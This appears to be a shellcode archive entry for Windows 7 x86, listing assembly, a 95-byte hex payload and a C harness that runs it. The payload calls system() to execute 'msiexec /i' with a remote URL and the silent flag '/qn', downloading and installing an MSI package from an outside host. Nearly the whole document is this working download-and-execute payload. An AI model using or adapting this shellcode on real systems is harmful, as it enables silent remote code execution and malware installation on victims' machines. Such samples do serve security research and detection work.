95 bytes small Microsoft Windows x86 msiexec.exe download and execute shellcode.
d6a5ef36584bc7f03da85c23688df1f2# Title: Windows - Download and execute using msiexec.exe
# Author: Kartik Durg
# Shellcode Length: 95 BYTES
# Write-up Link: https://iamroot.blog/2019/01/28/windows-shellcode-download-and-execute-payload-using-msiexec/
# Tested on: WIN7x86
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==> Assembly code:
xor eax, eax ;Get the msvcrt.dll
mov ax, 0x7472 ;"tr\0\0"
push eax
push dword 0x6376736d ;"cvsm"
push esp
; LoadLibrary
mov ebx, 0x7717de85 ;Address of function LoadLibraryA (win7)
call ebx
mov ebp, eax ;msvcrt.dll is saved in ebp
xor eax, eax ;zero out EAX
PUSH eax ;NULL at the end of string
PUSH 0x6e712f20 ;"nq/ "
PUSH 0x69736d2e ;"ism."
PUSH 0x736d2f33 ;"sm/3"
PUSH 0x2e312e38 ;".1.8"
PUSH 0x36312e32 ;"61.2"
PUSH 0x39312f2f ;"91//"
PUSH 0x3a707474 ;":ptt"
PUSH 0x6820692f ;"h i/"
PUSH 0x20636578 ;" cex"
PUSH 0x6569736d ;"eism"
MOV EDI,ESP ;adding a pointer to the stack
PUSH EDI
MOV EAX,0x7587b177 ;calling the system()(win7)
CALL EAX
xor eax, eax
push eax
mov eax, 0x7718be52 ; ExitProcess
call eax
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==> Final shellcode:
char code[] =
"\x31\xc0\x66\xb8\x72\x74\x50\x68\x6d\x73\x76\x63\x54\xbb\x85\xde\x17\x77\xff\xd3\x89\xc5\x31\xc0\x50\x68\x20\x2f\x71\x6e\x68\x2e\x6d\x73\x69\x68\x33\x2f\x6d\x73\x68\x38\x2e\x31\x2e\x68\x32\x2e\x31\x36\x68\x2f\x2f\x31\x39\x68\x74\x74\x70\x3a\x68\x2f\x69\x20\x68\x68\x78\x65\x63\x20\x68\x6d\x73\x69\x65\x89\xe7\x57\xb8\x77\xb1\x87\x75\xff\xd0\x31\xc0\x50\xb8\x52\xbe\x18\x77\xff\xd0";
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
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